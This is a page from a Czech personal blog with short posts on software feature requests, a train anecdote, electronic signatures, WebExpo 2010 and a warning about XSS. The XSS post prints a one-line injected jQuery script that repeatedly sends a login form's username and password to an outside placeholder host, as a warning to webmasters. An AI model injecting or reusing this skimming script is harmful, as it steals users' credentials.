| Michal Smrčka - blog

A naprogramujte mi tam ještě...

Přání klienta:

Chtěl bych doprogramovat ještě funkci, aby když ..., tak ....

Obvyklé úkoly pro realizační tým:

  • Promluvit si s klientem, co to má vlastně dělat.
  • Pochopit to.
  • Najít důvody, proč to takhle nebude fungovat.
  • Znovu si promluvit s klientem a vymyslet alternativní řešení, které bude fungovat.
  • Navrhnout schéma propojení se stávajícím systémem.
  • Upravit strukturu databází, zajistit zpětnou kompatibilitu.
  • Odhalit a ošetřit možné nestandartní případy (výjimky).
  • Naprogramovat tuto funkci (konečně se k tomu dostáváme).
  • Vytvořit/upravit rozhraní aplikace tak, aby ji klient mohl (a uměl) ovládat.
  • ... a aby ji mohl ovládat i v případě, že v databázi nečekaně vytvoří 100.000 záznamů a bude chtít některé rychle najít a upravit.
  • Otestovat, zda vše funguje; pokud je někde problém, přejít zpět na bod 7 (v horším případě na bod 3 :-))
  • A funkci spustit, pokud možno za plného provozu aplikace, bez výpadku a co nejdříve.

Co jsem tímto výčtem chtěl říct? Jednoduchost zadání, byť je definováno v jediné větě, neimplikuje možnost operativní realizace. A už vůbec to neznamená, že "doprogramování" provádí programátor (který to jen jakože nějak pošteluje, něco změní a ono to bude fungovat). Svět IT je někdy složitější, než se zdá :)


27. 03. 2011 v 21:11 • Webdesign • autor Michal Smrčka2 komentáře

Veselé vánoční cestování s Českými drahami

Sobota, 18:50 hodin, rozhovor s paní za přepážkou na znojemském nádraží ČD.

„Dobrý den, můžu se zeptat, kdy jel dnes poslední vlak z Vídně?“
„Poslední jel 14:45.“
„Ok, tušil jsem, že to řeknete. A čím jsem tedy podle vás právě přijel?“
„Hmm poslední vlak měl jet 14:45.“
„To nám tu tvrdili i ráno, když jsme se se do Vídně potřebovali dostat, načež jsme kvůli tomu jeli raději autem do Retzu, protože jsme tušili, že z něj je vlakové spojení do Vídně lepší a měli jsme koupené (nevratné) jízdenky za pár tisíc.“
„Já tu v počítači vidím, že poslední jel 14:45.“
„Podívejte se z okna, ten vlak tam ještě stojí.“
„No ale tady v databázi v počítači...“

Spolehněte se na cokoli, co se týká ČD.


21. 12. 2010 v 23:04 • Co mám rád • autor Michal Smrčka3 komentáře

S XSS zranitelností se dá napáchat více škody, než si myslíte

Otázka pro webmastery: Víte, co dělá následující jQuery kód?

<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>

Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.

Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.


13. 11. 2010 v 20:45 • Bezpečnost a hacking • autor Michal Smrčka1 komentář

Elektronický podpis - vyplatí se vůbec?

Elektronický podpis se v poslední době velmi rozšířil a může vám ušetřit spoustu času s vyřizováním na úřadech. Je to tak nebo se jej nevyplatí pořizovat?

digitální podpisZa elektronický podpis se v širším významu dá považovat jakékoliv uvedení identifikačních údajů autora do elektronického dokumentu. Takovýto podpis samozřejmě není schopen zaručit ani integritu ani autenticitu podepsaného. Avšak velmi často se tímto pojmem myslí zaručený elektronický podpis. Takovýto podpis zajišťuje pomocí kryptografických metod a dohledu nezávislé třetí strany (certifikační autority) integritu a autenticitu dat. Tím je zajištěno, že odesílatelem zprávy je skutečně ten, kdo předpokládáme a také to, že zpráva nebyla během přenosu změněna.


19. 10. 2010 v 20:17 • Reklamní sdělení • autor Michal Smrčka1 komentář

Jaké bylo WebExpo 2010 (krátké postřehy)

Kdybych článek nenapsal teď, tak už nikdy (důkazem budiž rozepsaný, dosud nezveřejněný článek o ročníku 2009). Takže... WebExpo 2010 jsem si užil. Objevilo se sice pár failů, ale byla zde hlavně pozitiva – skvělí lidé, hordy postřehů, nápadů, motivací a zajímavých myšlenek.

K přednáškám bych skoro neměl výhrady. Mile mě překvapil páteční dopolední Business blok následovaný „kreativními“ přednáškami v Designu. Zde mě jen trochu mrzelo, že si Lukáš Veverka a Petr Skala skákali do řeči, zjevně nejsou moc zvyklí prezentovat, ale jejich práce je úchvatná.

Po první přednášce jsem si zašel pro kávu, načež jsem si všiml nějaké dlouhé fronty. Začínala ve dveřích označených jako „registrace“, končila... někde v dálce. Ale jako fakt v dálce.


25. 09. 2010 v 22:57 • Webdesign • autor Michal Smrčka3 komentáře

Stránka: < 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 >

Kategorie blogu

Twitter feed

    Twitter @michalsmrcka @michalsmrcka
  • Michal Smrčka: Včera jsme zahráli trochu jazzu na konferenci Vítejte u nás ve Znojmě http://t.co/ehfj7iHM . Btw zdravím @zitbrno ;)
    18.5.2012 22:47
  • Michal Smrčka: @MichalCerny To se mi jednou ve stavu opilosti taky stalo. O to horší, že více než 10 tisíc Kč peněženka odmítá a nejde zavřít
    18.5.2012 22:46
  • Michal Smrčka: Rathův obhájce je Adam Černý - muž, který žaluje Lupu kvůli rozkrývání kauzy Tojecool. Náhodička
    17.5.2012 07:57

Poslední články

Poslední komentáře

ten kdo neumi : Nevm jesi to tady uz nekdo nerikal ale. skouseli jste to nekdo psat na roztazenou gumicku potom gumicku pri pisemce roztahujete a opisujete kdyz se to udela dobre tak se to z nenapnuty gumicky neda precist mam za sebou 8testu vsecny na 1... Ukázat
cockin74: Dekuji za radu. Ukázat
Kaca: ja to delam tam ze si ho nalepim na zidli a sednu si a jenom roztahuju nohy nebo kdyz mame pisemku rozdelim si s kamoskou A4 papir na pul a na kraj toho papiru si tuzkou napisu veci ohnu aby to neslo videt... Ukázat
obluda: Sešit do lavice Ukázat
utrum: Badoo je ješte slabej odvar,merkněte na tohle video,měli byste si dat pozor nato. http://www.youtube.com/watch?v=4cf1YwEQxIs Ukázat

Vyhledávání

Nastavení

Velikost písma: Abc Abc Abc